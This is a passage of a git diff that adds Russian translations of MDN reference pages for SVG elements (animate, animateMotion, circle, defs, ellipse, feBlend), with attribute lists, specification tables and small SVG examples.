+<p> Тег &lt;animate&gt; может быть помещен внутри какой-то фигуры, например,  &lt;circle&gt; . Он задает анимацию атрибута фигуры. Указанный атрибут будет изменяться со стартового значения и до конечного значения с определенным интервалом.</p>
+
+<h2 id="Использование">Использование</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>» <a href="/files/3258/animate.svg">animate.svg</a></p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#AnimationEvent">Animation event attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#XLink">Xlink attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#AnimationAttributeTarget">Animation attribute target attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#AnimationTiming">Animation timing attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#AnimationValue">Animation value attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#AnimationAddition">Animation addition attributes</a> »</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Атрибуты_элемента">Атрибуты элемента</h3>
+
+<ul>
+ <li>{{SVGAttr("attributeName")}}</li>
+ <li>{{SVGAttr("attributeType")}}</li>
+ <li>{{SVGAttr("from")}}</li>
+ <li>{{SVGAttr("to")}}</li>
+ <li>{{SVGAttr("dur")}}</li>
+ <li>{{SVGAttr("repeatCount")}}</li>
+</ul>
+
+<h2 id="DOM_интерфейс">DOM интерфейс</h2>
+
+<p>Элемент реализует <code><a href="/en-US/docs/Web/DOM/SVGAnimateElement">SVGAnimateElement</a></code> интерфейс .</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'animate.html#AnimateElement', '&lt;animate&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддерживаемые_браузеры">Поддерживаемые браузеры</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("svg.elements.animate")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/svg/элемент/animatemotion/index.html b/files/ru/web/svg/элемент/animatemotion/index.html
new file mode 100644
index 0000000000..3b1259dcb3
--- /dev/null
+++ b/files/ru/web/svg/элемент/animatemotion/index.html
@@ -0,0 +1,112 @@
+---
+title: <animateMotion>
+slug: Web/SVG/Элемент/animateMotion
+tags:
+  - SVG
+  - svg анимация
+  - Элемент
+translation_of: Web/SVG/Element/animateMotion
+---
+<div>{{SVGRef}}</div>
+
+<p>Элемент <strong><code>&lt;animateMotion&gt;</code></strong> вызывает перемещение ссылочного элемента вдоль пути движения.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<ul>
+ <li><a href="/ru/docs/SVG/Attribute#Conditional_processing_attributes" title="en/SVG/Attribute#ConditionalProccessing">Условные атрибуты обработки</a> » </li>
+ <li><a href="/ru/docs/SVG/Attribute#Core_attributes" title="en/SVG/Attribute#Core">Основные атрибуты</a> » </li>
+ <li><a href="/ru/docs/SVG/Attribute#Animation_event_attributes" title="en/SVG/Attribute#AnimationEvent">Атрибуты события анимации</a> » </li>
+ <li><a href="/ru/docs/SVG/Attribute#XLink_attributes" title="en/SVG/Attribute#XLink">Атрибуты Xlink</a> » </li>
+ <li><a href="/ru/docs/SVG/Attribute#Animation_timing_attributes" title="en/SVG/Attribute#AnimationTiming">Атрибуты времени анимации</a> » </li>
+ <li><a href="/ru/docs/SVG/Attribute#Animation_value_attributes" title="en/SVG/Attribute#AnimationValue">Величина атрибутов анимации</a> » </li>
+ <li><a href="/ru/docs/SVG/Attribute#Animation_addition_attributes" title="en/SVG/Attribute#AnimationAddition">Атрибуты добавления анимации</a> » </li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Собственные_атрибуты">Собственные атрибуты</h3>
+
+<ul>
+ <li>{{SVGAttr("calcMode")}}</li>
+ <li>{{SVGAttr("path")}}</li>
+ <li>{{SVGAttr("keyPoints")}}</li>
+ <li>{{SVGAttr("rotate")}}</li>
+ <li>{{SVGAttr("origin")}}</li>
+</ul>
+
+<h2 id="DOM_интерфейс">DOM интерфейс</h2>
+
+<p>Этот элемент реализует интерфейс {{domxref("SVGAnimateMotionElement")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[18-20]">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120" viewBox="0 0 120 120"
+    xmlns="http://www.w3.org/2000/svg" version="1.1"
+    xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+  &lt;!-- Рисуем серый контур движения с двумя
+       маленькими кружками в ключевых точках --&gt;
+  &lt;path id="theMotionPath" stroke="lightgrey" stroke-width="2" fill="none"
+        d="M10,110 A120,120 -45 0,1 110 10 A120,120 -45 0,1 10,110" /&gt;
+  &lt;circle cx="10" cy="110" r="3" fill="lightgrey"  /&gt;
+  &lt;circle cx="110" cy="10" r="3" fill="lightgrey"  /&gt;
+
+  &lt;!-- Рисуем красный круг, который будет перемещаться
+       вдоль траектории движения. --&gt;
+  &lt;circle cx="" cy="" r="5" fill="red"&gt;
+
+  &lt;!-- Определяем анимацию пути движения --&gt;
+    &lt;animateMotion dur="6s" repeatCount="indefinite"&gt;
+      &lt;mpath xlink:href="#theMotionPath"/&gt;
+    &lt;/animateMotion&gt;
+  &lt;/circle&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Пример", 120, 120)}}</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG Animations 2", "#AnimateMotionElement", "&lt;animateMotion&gt;")}}</td>
+   <td>{{Spec2("SVG Animations 2")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'animate.html#AnimateMotionElement', '&lt;animateMotion&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>  и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("svg.elements.animateMotion")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{SVGElement("mpath")}}</li>
+</ul>
diff --git a/files/ru/web/svg/элемент/circle/index.html b/files/ru/web/svg/элемент/circle/index.html
new file mode 100644
index 0000000000..3f1907b3bf
--- /dev/null
+++ b/files/ru/web/svg/элемент/circle/index.html
@@ -0,0 +1,109 @@
+---
+title: <circle>
+slug: Web/SVG/Элемент/circle
+tags:
+  - NeedsUpdate
+  - SVG
+translation_of: Web/SVG/Element/circle
+---
+<div>{{SVGRef}}</div>
+
+<p><code>Элемент circle</code> — базовая SVG фигура, используется для создания кругов c помощью координат центра и размера радиуса.</p>
+
+<h2 id="Информация">Информация</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Пример">Пример</h2>
+
+
+
+<pre class="brush: xml line-numbers  language-xml"><code class="language-xml"><span class="prolog token">&lt;?xml version="1.0"?&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>svg</span> <span class="attr-name token">viewBox</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0 0 120 120<span class="punctuation token">"</span></span> <span class="attr-name token">version</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1.1<span class="punctuation token">"</span></span>
+  <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/2000/svg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>circle</span> <span class="attr-name token">cx</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">cy</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">r</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>50<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>svg</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+
+
+<p>» <a href="https://mdn.mozillademos.org/files/7707/circle2.svg">circle.svg</a></p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<h3 id="Унаследованные">Унаследованные</h3>
+
+<ul>
+ <li><a href="/en-US/SVG/Attribute#Conditional_processing_attributes">Условные атрибуты</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Core_attributes">Ключевые атрибуты</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Graphical_event_attributes">Атрибуты графических событий</a> »</li>
+ <li><a href="/en-US/SVG/Attribute#Presentation_attributes">Атрибуты представления</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Особые">Особые</h3>
+
+<ul>
+ <li>{{ SVGAttr("cx") }}</li>
+</ul>
+
+<p>Координата центра окружности по оси x.</p>
+
+<ul>
+ <li>{{ SVGAttr("cy") }}</li>
+</ul>
+
+<p>Координата центра окружности по оси y.</p>
+
+<ul>
+ <li>{{ SVGAttr("r") }}</li>
+</ul>
+
+<p>Радиус окружности.</p>
+
+<h2 id="Интерфейс_DOM">Интерфейс DOM</h2>
+
+<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Этот элемент</span> <span class="hps">реализует интерфейс</span></span> {{ domxref("SVGCircleElement") }}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'shapes.html#CircleElement', '&lt;circle&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'shapes.html#CircleElement', '&lt;circle&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("svg.elements.circle")}}</p>
+
+
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{ SVGElement("ellipse") }}</li>
+ <li><a href="https://www.svg-expert.ru/svg/circle/">SVG Circle</a></li>
+</ul>
diff --git a/files/ru/web/svg/элемент/defs/index.html b/files/ru/web/svg/элемент/defs/index.html
new file mode 100644
index 0000000000..0312b05e34
--- /dev/null
+++ b/files/ru/web/svg/элемент/defs/index.html
@@ -0,0 +1,101 @@
+---
+title: <defs>
+slug: Web/SVG/Элемент/defs
+tags:
+  - NeedsUpdate
+  - SVG
+  - Контейнер SVG
+  - Элемент
+translation_of: Web/SVG/Element/defs
+---
+<div>{{SVGRef}}</div>
+
+<p>SVG позволяет задавать графические объекты для последующего использования. Рекомендуется там, где это возможно, объявлять подобные элементы внутри элемента <strong><code>&lt;defs&gt;</code></strong>. Объекты, созданные внутри элемента <code>&lt;defs&gt;</code> не отображаются немедленно; рассматривайте их, как шаблоны или макросы, созданные для будущего использования.</p>
+
+<p>Создание подобных элементов внутри элемента <code>&lt;defs&gt;</code> способствует лучшему пониманию содержимого SVG и поэтому способствует также доступности. Вы можете использовать элемент {{SVGElement("use")}}, чтобы отрисовать данные элементы в любом месте области просмотра.</p>
+
+<p><code>&lt;defs&gt;</code> также можно использовать для создания градиентов; в качестве иллюстрации можно посмотреть пример для атрибута {{SVGAttr("x1")}}.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Conditional_processing_attributes">Conditional processing attributes</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes">Core attributes</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Graphical_event_attributes">Graphical event attributes</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation_attributes">Presentation attributes</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+ <li>{{SVGAttr("transform")}}</li>
+</ul>
+
+<h3 id="Специфичные_атрибуты">Специфичные атрибуты</h3>
+
+<p><em>Нет</em></p>
+
+<h2 id="Интерфейс_DOM">Интерфейс DOM </h2>
+
+<p>Элемент реализует интерфейс {{domxref("SVGDefsElement")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: xml">&lt;svg width="80px" height="30px" viewBox="0 0 80 30"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient01"&gt;
+      &lt;stop offset="20%" stop-color="#39F" /&gt;
+      &lt;stop offset="90%" stop-color="#F3F" /&gt;
+    &lt;/linearGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10" y="10" width="60" height="10"
+        fill="url(#Gradient01)" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "struct.html#Head", "&lt;defs&gt;")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "struct.html#Head", "&lt;defs&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("svg.elements.defs")}}</p>
+
+<p> </p>
+
+<h2 id="Связанные_темы">Связанные темы</h2>
+
+<ul>
+ <li>{{SVGElement("use")}}</li>
+</ul>
diff --git a/files/ru/web/svg/элемент/ellipse/index.html b/files/ru/web/svg/элемент/ellipse/index.html
new file mode 100644
index 0000000000..f04083c1e1
--- /dev/null
+++ b/files/ru/web/svg/элемент/ellipse/index.html
@@ -0,0 +1,129 @@
+---
+title: <ellipse>
+slug: Web/SVG/Элемент/ellipse
+tags:
+  - NeedsUpdate
+translation_of: Web/SVG/Element/ellipse
+---
+<div>{{SVGRef}}</div>
+
+<p>Элемент <code>ellipse</code> — базовая SVG фигура, используемая для создания эллипсов с помощью координат центра и обоих радиусов.</p>
+
+<div class="blockIndicator note">
+<p>Сам по себе элемент <code>ellipse </code>не позволяет задать точное его расположение (например, нельзя сразу отобразить эллипс, повёрнутый на 45<strong>°</strong>), однако его можно повернуть с помощью атрибута {{SVGAttr("transform")}}.</p>
+</div>
+
+
+
+<div class="hidden">
+<pre><code>html,body,svg { height:100% }</code></pre>
+</div>
+
+<pre><code>&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;ellipse cx="100" cy="50" rx="100" ry="50" /&gt;
+&lt;/svg&gt;</code></pre>
+
+<p>{{EmbedLiveSample('Exemple', 100, '100%')}}</p>
+
+
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+
+
+<dl>
+ <dt>{{SVGAttr("cx")}}</dt>
+ <dd>Позиция эллипса по x.<br>
+ <small><em>Тип значения</em>: <a href="https://developer.mozilla.org/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="https://developer.mozilla.org/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>0</code>; <em>Можно анимировать</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr("cy")}}</dt>
+ <dd>Позиция эллипса по y.<br>
+ <small><em>Тип значения</em>: <a href="https://developer.mozilla.org/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="https://developer.mozilla.org/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>0</code>; <em>Можно анимировать</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr("rx")}}</dt>
+ <dd>Радиус эллипса по x.<br>
+ <small><em>Тип значения</em>: <code>auto</code>|<a href="https://developer.mozilla.org/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="https://developer.mozilla.org/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ;<em>Значение по умолчанию</em>: <code>auto</code>; <em>Можно анимировать</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr("ry")}}</dt>
+ <dd>Радиус эллипса по y.<br>
+ <small><em>Тип значения</em>: <code>auto</code>|<a href="https://developer.mozilla.org/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="https://developer.mozilla.org/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Значение по умолчанию</em>: <code>auto</code>; <em>Можно анимировать</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr("pathLength")}}</dt>
+ <dd>Этот атрибут позволяет установить длину всего пути.<br>
+ <small><em>Тип значения</em>: <a href="https://developer.mozilla.org/docs/Web/SVG/Content_type#Number"><strong>&lt;number&gt;</strong></a> ; <em>Значение по умолчани</em>: <em>нет</em>; <em>Можно анимировать</em>: <strong>да</strong></small></dd>
+ <dd>
+
+
+ <div class="blockIndicator note">
+ <p><strong>Обратите внимание:</strong> Начиная с SVG2, <code>cx</code>, <code>cy</code>, <code>rx</code> и <code>ry</code> это <em>Геометрические свойства</em>. Это означает, что они могут быть использованы как CSS свойства элемента.</p>
+ </div>
+
+ <h3 id="Глобальные_Атрибуты">Глобальные Атрибуты</h3>
+ </dd>
+ <dt><a href="https://developer.mozilla.org/docs/Web/SVG/Attribute/Core">Основные атрибуты</a></dt>
+ <dd><small>Самые важные: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="https://developer.mozilla.org/docs/Web/SVG/Attribute/Styling">Атрибуты стиля</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="https://developer.mozilla.org/docs/Web/SVG/Attribute/Conditional_Processing">Условные атрибуты</a></dt>
+ <dd><small>Самые важные: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Аттрибуты событий</dt>
+ <dd><small><a href="https://developer.mozilla.org/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Глобальные атрибуты событий</a>, <a href="https://developer.mozilla.org/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Атрибуты графических событий</a></small></dd>
+ <dt><a href="https://developer.mozilla.org/docs/Web/SVG/Attribute/Presentation">Атрибуты представления</a></dt>
+ <dd><small>Самые важные: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>ARIA-Атрибуты</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>,<code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>,<code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>,<code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>,<code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+
+
+
+
+<h2 id="Информация">Информация</h2>
+
+<p>{{svginfo}}</p>
+
+
+
+<h2 id="Пример">Пример</h2>
+
+<p>» <a href="https://developer.mozilla.org/files/3253/ellipse.svg">ellipse.svg</a></p>
+
+<h2 id="Интерфейс_DOM">Интерфейс DOM</h2>
+
+<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Этот элемент</span> <span class="hps">реализует интерфейс </span></span>{{ domxref("SVGEllipseElement") }}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'shapes.html#EllipseElement', '&lt;ellipse&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'shapes.html#EllipseElement', '&lt;ellipse&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("svg.elements.ellipse")}}</p>
+
+
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{SVGElement("circle")}}</li>
+</ul>
diff --git a/files/ru/web/svg/элемент/feblend/index.html b/files/ru/web/svg/элемент/feblend/index.html
new file mode 100644
index 0000000000..acd3547dcd
--- /dev/null
+++ b/files/ru/web/svg/элемент/feblend/index.html
@@ -0,0 +1,115 @@
+---
+title: <feBlend>
+slug: Web/SVG/Элемент/feBlend
+tags:
+  - фильтры
+translation_of: Web/SVG/Element/feBlend
+---
+<div>{{SVGRef}}</div>
+
+<p><a href="/en-US/docs/Web/SVG">SVG </a>фильтр примитивна  <strong><code>&lt;feBlend&gt;</code></strong> объединяет два объекта, управляемых определенным режимом смешивания. Это похоже на работу программного обеспечения для редактирования изображений при смешивании двух слоев. Режим определяется атрибутом  {{SVGAttr("mode")}}.</p>
+
+<h2 id="Используемый_контекст">Используемый контекст</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes">Core attributes</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation_attributes">Presentation attributes</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Filter_primitive_attributes">Filter primitive attributes</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Специальные_атрибуты">Специальные атрибуты</h3>
+
+<ul>
+ <li>{{SVGAttr("in")}}</li>
+ <li>{{SVGAttr("in2")}}</li>
+ <li>{{SVGAttr("mode")}}</li>
+</ul>
+
+<h2 id="DOM_Interface">DOM Interface</h2>
+
+<p>Этот элемент реализует интерфейс {{domxref("SVGFEBlendElement")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[5-6]">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"
+    xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;filter id="spotlight"&gt;
+      &lt;feFlood result="floodFill" x="0" y="0" width="100%" height="100%"
+          flood-color="green" flood-opacity="1"/&gt;
+      &lt;feBlend in="SourceGraphic" in2="floodFill" mode="multiply"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+
+  &lt;image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png"
+      x="10%" y="10%" width="80%" height="80%"
+      style="filter:url(#spotlight);"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example", 200, 200)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Filters 1.0", "#feBlendElement", "&lt;feBlend&gt;")}}</td>
+   <td>{{Spec2("Filters 1.0")}}</td>
+   <td>Аутсорсинг режимов наложения на{{SpecName("Compositing", "#ltblendmodegt")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#feBlendElement", "&lt;feBlend&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("svg.elements.feBlend")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
